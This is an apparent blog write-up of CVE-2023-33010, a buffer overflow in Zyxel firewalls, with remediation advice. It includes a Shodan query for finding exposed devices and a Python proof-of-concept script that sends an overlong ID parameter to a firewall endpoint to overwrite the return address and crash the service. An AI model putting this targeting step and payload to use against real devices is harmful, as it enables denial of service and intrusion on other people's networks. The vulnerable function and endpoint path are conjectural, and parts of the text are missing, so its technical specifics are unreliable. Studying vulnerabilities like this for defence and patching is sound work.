Zyxel, a well-known manufacturer of network hardware, released a critical security advisory about CVE-2023-33010. This vulnerability is a buffer overflow located in the ID processing function for many of Zyxel’s enterprise and small business firewall appliances. If you're using ATP, USG FLEX, USG20(W)-VPN, VPN, or ZyWALL/USG devices with certain firmware, you could be at serious risk.

What's really concerning is that attackers don’t need to be authenticated—if your device is exposed to the internet, it may be an easy target. This flaw can allow bad actors to crash your firewall with Denial-of-Service attacks or even take full remote control by executing arbitrary code.

Below, I’ll break down how this vulnerability works, who’s at risk, and show a sample exploit so you understand how dangerous it is.

VPN series: 4.30 up to 5.36 Patch 1

- ZyWALL/USG series: 4.25 up to 4.73 Patch 1

> Check Zyxel’s official advisory for the complete version list and patches.

How Does CVE-2023-33010 Work?

Everything revolves around how Zyxel firewalls process certain ID values (often related to VPN or authentication features). The function that processes these IDs in the firmware does not validate input length and writes data straight into a buffer on the stack. If someone sends an ID that's too long, it overflows the buffer, smashing adjacent memory.

Here’s why this is bad

- Denial of Service (DoS): Overflowing the buffer can crash the process (or even the device), knocking your firewall offline.
- Remote Code Execution: A clever attacker can overwrite the instruction pointer (return address) to run their own malicious code—potentially creating a backdoor or pivoting deeper into your network.

Code Walkthrough: Vulnerable Function (Hypothetical Example)

While Zyxel hasn't published the actual source code, analysis of the firmware suggests the vulnerable function looks something like this (C-like pseudocode):

void process_client_id(const char *id_value) {
    char buffer[64];
    // Vulnerability: No bounds checking!
    strcpy(buffer, id_value);
    // ... further processing ...
}

An attacker just sends an id_value longer than 64 bytes and the data spills over into adjacent memory, tampering with critical structures.

Exploit Details: Step-by-step

Warning: Do not exploit this on any device you don't own! This is shown for security education.

Look for internet-exposed Zyxel firewalls. Shodan search queries like

http.favicon.hash:1306114981 Zyxel

2. Craft a Malicious Request

The vulnerable endpoint typically processes VPN or authentication requests. You can trigger the overflow by sending a POST or GET request with an overly long ID value.

Python Example

import socket

target_ip = 'FIREWALL_IP'
target_port = 443  # or 500, depending on the service

# Craft the payload: 80 'A's to overflow a 64-byte buffer, then 4 'B's to overwrite EIP
payload = b"A" * 80 + b"B" * 4

# Example of sending over SSL using sockets (illustration only)
sock = socket.create_connection((target_ip, target_port))
# If it's HTTPS, wrap with ssl.SSLSocket
# If it's plain VPN endpoint, send accordingly

# Example HTTP request (edit path as necessary)
http_request = (
    b"POST /cgi-bin/vpn_processid.cgi HTTP/1.1\r\n"
    b"Host: %s\r\n"
    b"Content-Length: %d\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"\r\n"
    b"id=%s"
) % (target_ip.encode(), len(payload)+3, payload)

sock.sendall(http_request)
sock.close()

This type of attack often crashes the service, proving it's vulnerable. With more work (leaking memory addresses, etc.), it’s possible to craft a payload that runs custom code.

Refer to public exploits (when they appear) for remote code execution demonstrations.

References & Further Reading

- Zyxel Security Advisory (official)
- NVD Entry for CVE-2023-33010
- Shadowserver scans - Vulnerable Zyxel devices
- CISA Known Exploited Vulnerabilities Catalog (Check for updates on active exploitation)

What Should I Do?

Patch immediately! Zyxel has issued firmware updates that fix this overflow bug. If you cannot patch, at least restrict external access and monitor logs carefully.

Final Word

CVE-2023-33010 is a textbook example of how a single unchecked line of code can endanger business operations. If you use any Zyxel firewalls, check your firmware today.

Stay safe, stay patched!

*This post is original research and writing based on public advisories and security analysis.*

Timeline

Published on: 05/24/2023 13:15:00 UTC
Last modified on: 06/07/2023 18:20:00 UTC